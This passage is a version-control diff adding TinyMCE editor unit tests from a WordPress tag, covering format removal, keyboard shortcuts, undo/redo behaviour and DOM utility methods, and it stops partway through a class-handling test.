--- /tags/4.1.6/tests/qunit/editor/tinymce/Formatter_remove.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/Formatter_remove.js	(revision 33402)
@@ -0,0 +1,376 @@
+module("tinymce.Formatter - Remove", {
+	setupModule: function() {
+		document.getElementById('view').innerHTML = '<textarea id="elm1"></textarea><div id="elm2"></div>';
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			plugins: wpPlugins,
+			external_plugins: { noneditable: '../../../../tests/qunit/editor/external-plugins/noneditable/plugin.min.js' }, // WP
+			indent: false,
+			add_unload_trigger: false,
+			skin: false,
+			extended_valid_elements: 'b,i,span[style|contenteditable]',
+			entities: 'raw',
+			valid_styles: {
+				'*': 'color,font-size,font-family,background-color,font-weight,font-style,text-decoration,float,margin,margin-top,margin-right,margin-bottom,margin-left,display'
+			},
+			disable_nodechange: true,
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	}
+});
+
+function getContent() {
+	return editor.getContent().toLowerCase().replace(/[\r]+/g, '');
+}
+
+test('Inline element on selected text', function() {
+	editor.formatter.register('format', {inline : 'b'});
+	editor.getBody().innerHTML = '<p><b>1234</b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('b')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('b')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p>1234</p>', 'Inline element on selected text');
+});
+
+test('Inline element on selected text with remove=all', function() {
+	editor.formatter.register('format', {selector : 'b', remove : 'all'});
+	editor.getBody().innerHTML = '<p><b title="text">1234</b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('b')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('b')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p>1234</p>', 'Inline element on selected text with remove=all');
+});
+
+test('Inline element on selected text with remove=none', function() {
+	editor.formatter.register('format', {selector : 'span', styles : {fontWeight : 'bold'}, remove : 'none'});
+	editor.getBody().innerHTML = '<p><span style="font-weight:bold">1234</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0], 0);
+	rng.setEnd(editor.dom.select('p')[0], 1);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p><span>1234</span></p>', 'Inline element on selected text with remove=none');
+});
+
+test('Inline element style where element is format root', function() {
+	editor.formatter.register('format', {inline : 'span', styles : {fontWeight : 'bold'}});
+	editor.getBody().innerHTML = '<p><span style="font-weight:bold; color:#FF0000"><em>1234</em></span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('em')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('em')[0].firstChild, 3);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(),
+		'<p><span style="color: #ff0000; font-weight: bold;">' +
+		'<em>1</em></span><span style="color: #ff0000;"><em>23</em></span>' +
+		'<span style=\"color: #ff0000; font-weight: bold;\"><em>4' +
+		'</em></span></p>',
+	'Inline element style where element is format root');
+});
+
+test('Partially selected inline element text', function() {
+	editor.formatter.register('format', {inline : 'b'});
+	editor.getBody().innerHTML = '<p><b>1234</b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('b')[0].firstChild, 2);
+	rng.setEnd(editor.dom.select('b')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p><b>12</b>34</p>', 'Partially selected inline element text');
+});
+
+test('Partially selected inline element text with children', function() {
+	editor.formatter.register('format', {inline : 'b'});
+	editor.getBody().innerHTML = '<p><b><em><span>1234</span></em></b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('span')[0].firstChild, 2);
+	rng.setEnd(editor.dom.select('span')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p><b><em><span>12</span></em></b><em><span>34</span></em></p>', 'Partially selected inline element text with children');
+});
+
+test('Partially selected inline element text with complex children', function() {
+	editor.formatter.register('format', {inline : 'span', styles : {fontWeight : 'bold'}});
+	editor.getBody().innerHTML = '<p><span style="font-weight:bold"><em><span style="color:#ff0000;font-weight:bold">1234</span></em></span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('span')[1].firstChild, 2);
+	rng.setEnd(editor.dom.select('span')[1].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p><span style="font-weight: bold;"><em><span style="color: #ff0000; font-weight: bold;">12</span></em></span><em><span style="color: #ff0000;">34</span></em></p>', 'Partially selected inline element text with complex children');
+});
+
+test('Inline elements with exact flag', function() {
+	editor.formatter.register('format', {inline : 'span', styles : {color : '#ff0000'}, exact : true});
+	editor.getBody().innerHTML = '<p><span style="font-size:10px;color:#ff0000">1234</span><span style="font-size:10px;color:#00ff00">1234</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0], 0);
+	rng.setEnd(editor.dom.select('p')[0], 2);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p><span style="font-size: 10px;">1234</span><span style="color: #00ff00; font-size: 10px;">1234</span></p>', 'Inline elements with exact flag');
+});
+
+test('Inline elements with variables', function() {
+	editor.formatter.register('format', {inline : 'span', styles : {color : '%color'}, exact : true});
+	editor.getBody().innerHTML = '<p><span style="font-size:10px;color:#ff0000">1234</span><span style="font-size:10px;color:#00ff00">1234</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0], 0);
+	rng.setEnd(editor.dom.select('p')[0], 2);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format', {color : '#ff0000'});
+	equal(getContent(), '<p><span style="font-size: 10px;">1234</span><span style="color: #00ff00; font-size: 10px;">1234</span></p>', 'Inline elements on selected text with variables');
+});
+
+test('Inline elements with functions and variables', function() {
+	editor.formatter.register('format', {
+		inline : 'span',
+		styles : {
+			color : function(vars) {
+				return vars.color + "00";
+			}
+		},
+		exact : true
+	});
+
+	editor.getBody().innerHTML = '<p><span style="font-size:10px;color:#ff0000">1234</span><span style="font-size:10px;color:#00ff00">1234</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0], 0);
+	rng.setEnd(editor.dom.select('p')[0], 2);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format', {
+		color : '#ff00'
+	});
+	equal(getContent(), '<p><span style="font-size: 10px;">1234</span><span style="color: #00ff00; font-size: 10px;">1234</span></p>', 'Inline elements with functions and variables');
+});
+
+test('End within start element', function() {
+	editor.formatter.register('format', {inline : 'b'});
+	editor.getBody().innerHTML = '<p><b>1234<b>5678</b></b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0], 0);
+	rng.setEnd(editor.dom.select('b')[0], 2);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p>12345678</p>', 'End within start element');
+});
+
+test('Start and end within similar format 1', function() {
+	editor.formatter.register('format', {inline : 'b'});
+	editor.getBody().innerHTML = '<p><b><em><b>1234<b>5678</b></b></em></b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('em')[0], 0);
+	rng.setEnd(editor.dom.select('b')[1], 2);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p><em>12345678</em></p>', 'Start and end within similar format 1');
+});
+
+test('Start and end within similar format 2', function() {
+	editor.formatter.register('format', {inline : 'b'});
+	editor.getBody().innerHTML = '<p><b><em><b>1234</b><b>5678</b></em></b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('em')[0], 0);
+	rng.setEnd(editor.dom.select('em')[0], 1);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p><em>1234</em><b><em><b>5678</b></em></b></p>', 'Start and end within similar format 2');
+});
+
+test('Start and end within similar format 3', function() {
+	editor.formatter.register('format', {inline : 'b'});
+	editor.getBody().innerHTML = '<p><b><em><b>1234</b></em></b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('em')[0], 0);
+	rng.setEnd(editor.dom.select('em')[0], 1);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p><em>1234</em></p>', 'Start and end within similar format 3');
+});
+
+test('End within start', function() {
+	editor.formatter.register('format', {inline : 'b'});
+	editor.getBody().innerHTML = '<p><b><em>x<b>abc</b>y</em></b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0], 0);
+	rng.setEnd(editor.dom.select('b')[1].firstChild, 3);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p><em>x</em><em>abc</em><b><em>y</em></b></p>', 'End within start');
+});
+
+test('Remove block format', function() {
+	editor.formatter.register('format', {block : 'h1'});
+	editor.getBody().innerHTML = '<h1>text</h1>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('h1')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('h1')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p>text</p>', 'Remove block format');
+});
+
+test('Remove wrapper block format', function() {
+	editor.formatter.register('format', {block : 'blockquote', wrapper : true});
+	editor.getBody().innerHTML = '<blockquote><p>text</p></blockquote>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p>text</p>', 'Remove wrapper block format');
+});
+
+test('Remove span format within block with style', function() {
+	editor.formatter.register('format', {selector : 'span', attributes : ['style', 'class'], remove : 'empty', split : true, expand : false, deep : true});
+	var rng = editor.dom.createRng();
+	editor.getBody().innerHTML = '<p style="color:#ff0000"><span style="color:#00ff00">text</span></p>';
+	rng.setStart(editor.dom.select('span')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('span')[0].firstChild, 3);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p style="color: #ff0000;"><span style="color: #00ff00;">t</span>ex<span style="color: #00ff00;">t</span></p>', 'Remove span format within block with style');
+});
+
+test('Remove and verify start element', function() {
+	editor.formatter.register('format', {inline : 'b'});
+	var rng = editor.dom.createRng();
+	editor.getBody().innerHTML = '<p><b>text</b></p>';
+	rng.setStart(editor.dom.select('b')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('b')[0].firstChild, 3);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), '<p><b>t</b>ex<b>t</b></p>');
+	equal(editor.selection.getStart().nodeName, 'P');
+});
+
+test('Remove with selection collapsed ensure correct caret position', function() {
+	var content = '<p>test</p><p>testing</p>';
+
+	editor.formatter.register('format', {block : 'p'});
+	var rng = editor.dom.createRng();
+	editor.getBody().innerHTML = content;
+	rng.setStart(editor.dom.select('p')[0].firstChild, 4);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(getContent(), content);
+	equal(editor.selection.getStart(), editor.dom.select('p')[0]);
+});
+
+test('Caret format at middle of text', function() {
+	editor.setContent('<p><b>abc</b></p>');
+	editor.formatter.register('format', {inline: 'b'});
+	Utils.setSelection('b', 1, 'b', 1);
+	editor.formatter.remove('format');
+	equal(editor.getContent(), '<p>abc</p>');
+});
+
+test('Caret format at end of text', function() {
+	editor.setContent('<p><b>abc</b></p>');
+	editor.formatter.register('format', {inline: 'b'});
+	Utils.setSelection('b', 3, 'b', 3);
+	editor.formatter.remove('format');
+	Utils.type('d');
+	equal(editor.getContent(), '<p><b>abc</b>d</p>');
+});
+
+test('Caret format at end of text inside other format', function() {
+	editor.setContent('<p><em><b>abc</b></em></p>');
+	editor.formatter.register('format', {inline: 'b'});
+	Utils.setSelection('b', 3, 'b', 3);
+	editor.formatter.remove('format');
+	Utils.type('d');
+	equal(editor.getContent(), '<p><em><b>abc</b>d</em></p>');
+});
+
+test('Caret format at end of text inside other format with text after 1', function() {
+	editor.setContent('<p><em><b>abc</b></em>e</p>');
+	editor.formatter.register('format', {inline: 'b'});
+	Utils.setSelection('b', 3, 'b', 3);
+	editor.formatter.remove('format');
+	Utils.type('d');
+	equal(editor.getContent(), '<p><em><b>abc</b>d</em>e</p>');
+});
+
+test('Caret format at end of text inside other format with text after 2', function() {
+	editor.setContent('<p><em><b>abc</b></em>e</p>');
+	editor.formatter.register('format', {inline: 'em'});
+	Utils.setSelection('b', 3, 'b', 3);
+	editor.formatter.remove('format');
+	Utils.type('d');
+	equal(editor.getContent(), '<p><em><b>abc</b></em><b>d</b>e</p>');
+});
+
+test('Toggle styles at the end of the content don\' removes the format where it is not needed.', function() {
+	editor.setContent('<p><em><b>abce</b></em></p>');
+	editor.formatter.register('b', {inline: 'b'});
+	editor.formatter.register('em', {inline: 'em'});
+	Utils.setSelection('b', 4, 'b', 4);
+	editor.formatter.remove('b');
+	editor.formatter.remove('em');
+	equal(editor.getContent(), '<p><em><b>abce</b></em></p>');
+});
+
+test('Caret format on second word in table cell', function() {
+	editor.setContent('<table><tbody><tr><td>one <b>two</b></td></tr></tbody></table>');
+	editor.formatter.register('format', {inline: 'b'});
+	Utils.setSelection('b', 2, 'b', 2);
+	editor.formatter.remove('format');
+	equal(editor.getContent(), '<table><tbody><tr><td>one two</td></tr></tbody></table>');
+});
+
+test('contentEditable: false on start and contentEditable: true on end', function() {
+	editor.formatter.register('format', {inline: 'b'});
+	editor.setContent('<p>abc</p><p contenteditable="false"><b>def</b></p><p><b>ghj</b></p>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('b')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('b')[1].firstChild, 3);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(editor.getContent(), '<p>abc</p><p><b>def</b></p><p>ghj</p>', 'Text in last paragraph is not bold');
+});
+
+test('contentEditable: true on start and contentEditable: false on end', function() {
+	editor.formatter.register('format', {inline: 'b'});
+	editor.setContent('<p>abc</p><p><b>def</b></p><p contenteditable="false"><b>ghj</b></p>');
+	Utils.setSelection('p:nth-child(2) b', 0, 'p:last b', 3);
+	editor.formatter.remove('format');
+	equal(editor.getContent(), '<p>abc</p><p>def</p><p><b>ghj</b></p>', 'Text in first paragraph is not bold');
+});
+
+test('contentEditable: true inside contentEditable: false', function() {
+	editor.formatter.register('format', {inline: 'b'});
+	editor.setContent('<p>abc</p><p contenteditable="false"><span contenteditable="true"><b>def</b></span></p>');
+	Utils.setSelection('b', 0, 'b', 3);
+	editor.formatter.remove('format');
+	equal(editor.getContent(), '<p>abc</p><p><span>def</span></p>', 'Text is not bold');
+});
+
+test('remove format block on contentEditable: false block', function() {
+	editor.formatter.register('format', {block: 'h1'});
+	editor.setContent('<p>abc</p><h1 contenteditable="false">def</h1>');
+	Utils.setSelection('h1:nth-child(2)', 0, 'h1:nth-child(2)', 3);
+	editor.formatter.remove('format');
+	equal(editor.getContent(), '<p>abc</p><h1>def</h1>', 'H1 is still not h1');
+});
+
+/*
+test('Remove format bug 1', function() {
+	editor.setContent('<p><b>ab<em>cde</em>fgh</b></p>');
+	editor.formatter.register('format', {inline: 'b'});
+	Utils.setSelection('em', 0, 'em', 2);
+	editor.formatter.remove('format');
+	equal(editor.getContent(), '<p><b>ab</b><em>cd</em><b><em>e</em>fgh</b></p>');
+});
+*/
Index: /tags/4.1.6/tests/qunit/editor/tinymce/Shortcuts.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/Shortcuts.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/Shortcuts.js	(revision 33402)
@@ -0,0 +1,50 @@
+module("tinymce.Shortcuts", {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			plugins: wpPlugins,
+			add_unload_trigger: false,
+			disable_nodechange: true,
+			indent: false,
+			skin: false,
+			entities: 'raw',
+			schema: 'html5',
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	}
+});
+
+test('Shortcuts formats', function() {
+	function assertShortcut(shortcut, args) {
+		var called;
+
+		editor.shortcuts.add(shortcut, '', function() {
+			called = true;
+		});
+
+		args = tinymce.extend({
+			ctrlKey: false,
+			altKey: false,
+			shiftKey: false
+		}, args);
+
+		if (tinymce.Env.mac && args.ctrlKey) {
+			args.metaKey = true;
+			args.ctrlKey = false;
+		}
+
+		editor.fire('keydown', args);
+
+		ok(called, 'Shortcut wasn\'t called: ' + shortcut);
+	}
+
+	assertShortcut('ctrl+d', {ctrlKey: true, keyCode: 68});
+	assertShortcut('ctrl+shift+d', {ctrlKey: true, shiftKey: true, keyCode: 68});
+	assertShortcut('ctrl+shift+alt+d', {ctrlKey: true, shiftKey: true, altKey: true, keyCode: 68});
+	assertShortcut('ctrl+221', {ctrlKey: true, keyCode: 221});
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/UndoManager.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/UndoManager.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/UndoManager.js	(revision 33402)
@@ -0,0 +1,333 @@
+module("tinymce.UndoManager", {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			plugins: wpPlugins,
+			add_unload_trigger: false,
+			skin: false,
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	}
+});
+
+test('Initial states', function() {
+	expect(3);
+
+	ok(!editor.undoManager.hasUndo());
+	ok(!editor.undoManager.hasRedo());
+	ok(!editor.undoManager.typing);
+});
+
+test('One undo level', function() {
+	editor.undoManager.clear();
+	editor.setContent('test');
+
+	expect(3);
+
+	editor.focus();
+	editor.execCommand('SelectAll');
+	editor.execCommand('Bold');
+
+	ok(editor.undoManager.hasUndo());
+	ok(!editor.undoManager.hasRedo());
+	ok(!editor.undoManager.typing);
+});
+
+test('Two undo levels', function() {
+	editor.undoManager.clear();
+	editor.setContent('test');
+
+	expect(3);
+
+	editor.execCommand('SelectAll');
+	editor.execCommand('Bold');
+	editor.execCommand('SelectAll');
+	editor.execCommand('Italic');
+
+	ok(editor.undoManager.hasUndo());
+	ok(!editor.undoManager.hasRedo());
+	ok(!editor.undoManager.typing);
+});
+
+test('No undo levels and one redo', function() {
+	editor.undoManager.clear();
+	editor.setContent('test');
+
+	expect(3);
+
+	editor.execCommand('SelectAll');
+	editor.execCommand('Bold');
+	editor.undoManager.undo();
+
+	ok(!editor.undoManager.hasUndo());
+	ok(editor.undoManager.hasRedo());
+	ok(!editor.undoManager.typing);
+});
+
+test('One undo levels and one redo', function() {
+	editor.undoManager.clear();
+	editor.setContent('test');
+
+	expect(3);
+
+	editor.execCommand('SelectAll');
+	editor.execCommand('Bold');
+	editor.execCommand('SelectAll');
+	editor.execCommand('Italic');
+	editor.undoManager.undo();
+
+	ok(editor.undoManager.hasUndo());
+	ok(editor.undoManager.hasRedo());
+	ok(!editor.undoManager.typing);
+});
+
+test('Typing state', function() {
+	editor.undoManager.clear();
+	editor.setContent('test');
+
+	expect(4);
+
+	ok(!editor.undoManager.typing);
+
+	editor.dom.fire(editor.getBody(), 'keydown', {keyCode: 65});
+	ok(editor.undoManager.typing);
+
+	editor.dom.fire(editor.getBody(), 'keyup', {keyCode: 13});
+	ok(!editor.undoManager.typing);
+
+	selectAllFlags = {keyCode: 65, ctrlKey: false, altKey: false, shiftKey: false};
+
+	if (tinymce.Env.mac) {
+		selectAllFlags.metaKey = true;
+	} else {
+		selectAllFlags.ctrlKey = true;
+	}
+
+	editor.dom.fire(editor.getBody(), 'keydown', selectAllFlags);
+	ok(!editor.undoManager.typing);
+});
+
+test('Undo and add new level', function() {
+	editor.undoManager.clear();
+	editor.setContent('test');
+
+	expect(3);
+
+	editor.execCommand('SelectAll');
+	editor.execCommand('Bold');
+	editor.undoManager.undo();
+	editor.execCommand('SelectAll');
+	editor.execCommand('Italic');
+
+	ok(editor.undoManager.hasUndo());
+	ok(!editor.undoManager.hasRedo());
+	ok(!editor.undoManager.typing);
+});
+
+test('Events', function() {
+	var add, undo, redo;
+
+	editor.undoManager.clear();
+	editor.setContent('test');
+
+	expect(6);
+
+	editor.on('AddUndo', function(e) {
+		add = e.level;
+	});
+
+	editor.on('Undo', function(e) {
+		undo = e.level;
+	});
+
+	editor.on('Redo', function(e) {
+		redo = e.level;
+	});
+
+	editor.execCommand('SelectAll');
+	editor.execCommand('Bold');
+	ok(add.content);
+	ok(add.bookmark);
+
+	editor.undoManager.undo();
+	ok(undo.content);
+	ok(undo.bookmark);
+
+	editor.undoManager.redo();
+	ok(redo.content);
+	ok(redo.bookmark);
+});
+
+test('Transact', function() {
+	var count = 0;
+
+	editor.undoManager.clear();
+
+	editor.on('BeforeAddUndo', function() {
+		count++;
+	});
+
+	editor.undoManager.transact(function() {
+		editor.undoManager.add();
+		editor.undoManager.add();
+	});
+
+	equal(count, 1);
+});
+
+test('Transact nested', function() {
+	var count = 0;
+
+	editor.undoManager.clear();
+
+	editor.on('BeforeAddUndo', function() {
+		count++;
+	});
+
+	editor.undoManager.transact(function() {
+		editor.undoManager.add();
+
+		editor.undoManager.transact(function() {
+			editor.undoManager.add();
+		});
+	});
+
+	equal(count, 1);
+});
+
+test('Transact exception', function() {
+	var count = 0;
+
+	editor.undoManager.clear();
+
+	editor.on('BeforeAddUndo', function() {
+		count++;
+	});
+
+	throws(
+		function() {
+			editor.undoManager.transact(function() {
+				throw new Error("Test");
+			});
+		},
+
+		"Test"
+	);
+
+	editor.undoManager.add();
+
+	equal(count, 1);
+});
+
+test('Exclude internal elements', function() {
+	var count = 0, lastLevel;
+
+	editor.undoManager.clear();
+	equal(count, 0);
+
+	editor.on('AddUndo', function() {
+		count++;
+	});
+
+	editor.on('BeforeAddUndo', function(e) {
+		lastLevel = e.level;
+	});
+
+	editor.getBody().innerHTML = (
+		'test' +
+		'<img src="about:blank" data-mce-selected="1" />' +
+		'<table data-mce-selected="1"><tr><td>x</td></tr></table>'
+	);
+
+	editor.undoManager.add();
+	equal(count, 1);
+	equal(Utils.cleanHtml(lastLevel.content),
+		'test' +
+		'<img src="about:blank">' +
+		'<table><tbody><tr><td>x</td></tr></tbody></table>'
+	);
+
+	editor.getBody().innerHTML = (
+		'<span data-mce-bogus="1">\u200B</span>' +
+		'<span data-mce-bogus="1">\uFEFF</span>' +
+		'<div data-mce-bogus="all"></div>' +
+		'<div data-mce-bogus="all"><div><b>x</b></div></div>' +
+		'<img src="about:blank" data-mce-bogus="all">' +
+		'<br data-mce-bogus="1">' +
+		'test' +
+		'<img src="about:blank" />' +
+		'<table><tr><td>x</td></tr></table>'
+	);
+
+	editor.undoManager.add();
+	equal(count, 2);
+	equal(Utils.cleanHtml(lastLevel.content),
+		'<br data-mce-bogus="1">' +
+		'test' +
+		'<img src="about:blank">' +
+		'<table><tbody><tr><td>x</td></tr></tbody></table>'
+	);
+});
+
+test('Undo added when typing and losing focus', function() {
+	var lastLevel;
+
+	editor.on('BeforeAddUndo', function(e) {
+		lastLevel = e.level;
+	});
+
+	editor.undoManager.clear();
+	editor.setContent("<p>some text</p>");
+	Utils.setSelection('p', 4, 'p', 9);
+	Utils.type('\b');
+
+	equal(Utils.cleanHtml(lastLevel.content), "<p>some text</p>");
+	editor.fire('blur');
+	equal(Utils.cleanHtml(lastLevel.content), "<p>some</p>");
+
+	editor.execCommand('FormatBlock', false, 'h1');
+	editor.undoManager.undo();
+	equal(editor.getContent(), "<p>some</p>");
+});
+
+test('BeforeAddUndo event', function() {
+	var lastEvt, addUndoEvt;
+
+	editor.on('BeforeAddUndo', function(e) {
+		lastEvt = e;
+	});
+
+	editor.undoManager.clear();
+	editor.setContent("<p>a</p>");
+	editor.undoManager.add();
+
+	equal(lastEvt.lastLevel, null);
+	equal(Utils.cleanHtml(lastEvt.level.content), "<p>a</p>");
+
+	editor.setContent("<p>b</p>");
+	editor.undoManager.add();
+
+	equal(Utils.cleanHtml(lastEvt.lastLevel.content), "<p>a</p>");
+	equal(Utils.cleanHtml(lastEvt.level.content), "<p>b</p>");
+
+	editor.on('BeforeAddUndo', function(e) {
+		e.preventDefault();
+	});
+
+	editor.on('AddUndo', function(e) {
+		addUndoEvt = e;
+	});
+
+	editor.setContent("<p>c</p>");
+	editor.undoManager.add(null, {data: 1});
+
+	equal(Utils.cleanHtml(lastEvt.lastLevel.content), "<p>b</p>");
+	equal(Utils.cleanHtml(lastEvt.level.content), "<p>c</p>");
+	equal(lastEvt.originalEvent.data, 1);
+	ok(!addUndoEvt, "Event level produced when it should be blocked");
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/dom/DOMUtils.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/dom/DOMUtils.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/dom/DOMUtils.js	(revision 33402)
@@ -0,0 +1,676 @@
+(function() {
+	module("tinymce.dom.DOMUtils", {
+		teardownModule: function() {
+			DOM = null;
+		}
+	});
+
+	var DOM = new tinymce.dom.DOMUtils(document, {keep_values : true, schema : new tinymce.html.Schema()});
+
+	test('parseStyle', 11, function() {
+		var dom;
+
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		dom = new tinymce.dom.DOMUtils(document, {hex_colors : true, keep_values : true, url_converter : function(u) {
+			return 'X' + u + 'Y';
+		}});
+
+		equal(
+			dom.serializeStyle(dom.parseStyle('border: 1px solid red; color: green')),
+			'border: 1px solid red; color: green;'
+		);
+
+		equal(
+			dom.serializeStyle(dom.parseStyle('border: 1px solid rgb(0, 255, 255); color: green')),
+			'border: 1px solid #00ffff; color: green;'
+		);
+
+		equal(
+			dom.serializeStyle(dom.parseStyle('border-top: 1px solid red; border-left: 1px solid red; border-bottom: 1px solid red; border-right: 1px solid red;')),
+			'border: 1px solid red;'
+		);
+
+		equal(
+			dom.serializeStyle(dom.parseStyle('border-width: 1pt 1pt 1pt 1pt; border-style: none none none none; border-color: black black black black;')),
+			'border: 1pt none black;'
+		);
+		
+		equal(
+			dom.serializeStyle(dom.parseStyle('border-width: 1pt 4pt 2pt 3pt; border-style: solid dashed dotted none; border-color: black red green blue;')),
+			'border-width: 1pt 4pt 2pt 3pt; border-style: solid dashed dotted none; border-color: black red green blue;'
+		);
+
+		equal(
+			dom.serializeStyle(dom.parseStyle('background: transparent url(test.gif);')),
+			'background: transparent url(\'Xtest.gifY\');'
+		);
+
+		equal(
+			dom.serializeStyle(dom.parseStyle('background: transparent url(http://www.site.com/test.gif?a=1&b=2);')),
+			'background: transparent url(\'Xhttp://www.site.com/test.gif?a=1&b=2Y\');'
+		);
+
+		dom.setHTML('test', '<span id="test2" style="   margin-left: 1px;    margin-top: 1px;   margin-right: 1px;   margin-bottom: 1px   "></span>');
+		equal(dom.getAttrib('test2', 'style'), 'margin: 1px;');
+
+		dom.setHTML('test', '<span id="test2" style="background-image: url(test.gif);"></span>');
+		equal(dom.getAttrib('test2', 'style'), 'background-image: url(\'Xtest.gifY\');');
+
+		dom.get('test').innerHTML = '<span id="test2" style="border: 1px solid #00ff00"></span>';
+		equal(dom.getAttrib('test2', 'style'), tinymce.isIE && !window.getSelection ? 'border: #00ff00 1px solid;' : 'border: 1px solid #00ff00;'); // IE has a separate output
+
+		dom.get('test').innerHTML = '<span id="test2" style="background-image: url(http://www.site.com/test.gif);"></span>';
+		equal(dom.getAttrib('test2', 'style'), 'background-image: url(\'Xhttp://www.site.com/test.gifY\');');
+
+		DOM.remove('test');
+	});
+
+	test('addClass', function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.get('test').className = '';
+		DOM.addClass('test', 'abc');
+		equal(DOM.get('test').className, 'abc');
+
+		DOM.addClass('test', '123');
+		equal(DOM.get('test').className, 'abc 123');
+
+		DOM.get('test').innerHTML = '<span id="test2"></span><span id="test3"></span><span id="test4"></span>';
+		DOM.addClass(DOM.select('span', 'test'), 'abc');
+		equal(DOM.get('test2').className, 'abc');
+		equal(DOM.get('test3').className, 'abc');
+		equal(DOM.get('test4').className, 'abc');
+		DOM.get('test').innerHTML = '';
+
+		DOM.remove('test');
+	});
+
+	test('removeClass', 5, function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.get('test').className = 'abc 123 xyz';
+		DOM.removeClass('test', '123');
+		equal(DOM.get('test').className, 'abc xyz');
+
+		DOM.get('test').innerHTML = '<span id="test2" class="test1"></span><span id="test3" class="test test1 test"></span><span id="test4" class="test1 test"></span>';
+		DOM.removeClass(DOM.select('span', 'test'), 'test1');
+		equal(DOM.get('test2').className, '');
+		equal(DOM.get('test3').className, 'test test');
+		equal(DOM.get('test4').className, 'test');
+
+		DOM.get('test').innerHTML = '<span id="test2" class="test"></span>';
+		DOM.removeClass('test2', 'test');
+		equal(Utils.normalizeHtml(DOM.get('test').innerHTML), '<span id="test2"></span>');
+
+		DOM.remove('test');
+	});
+
+	test('hasClass', 7, function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.get('test').className = 'abc 123 xyz';
+		ok(DOM.hasClass('test', 'abc'));
+		ok(DOM.hasClass('test', '123'));
+		ok(DOM.hasClass('test', 'xyz'));
+		ok(!DOM.hasClass('test', 'aaa'));
+
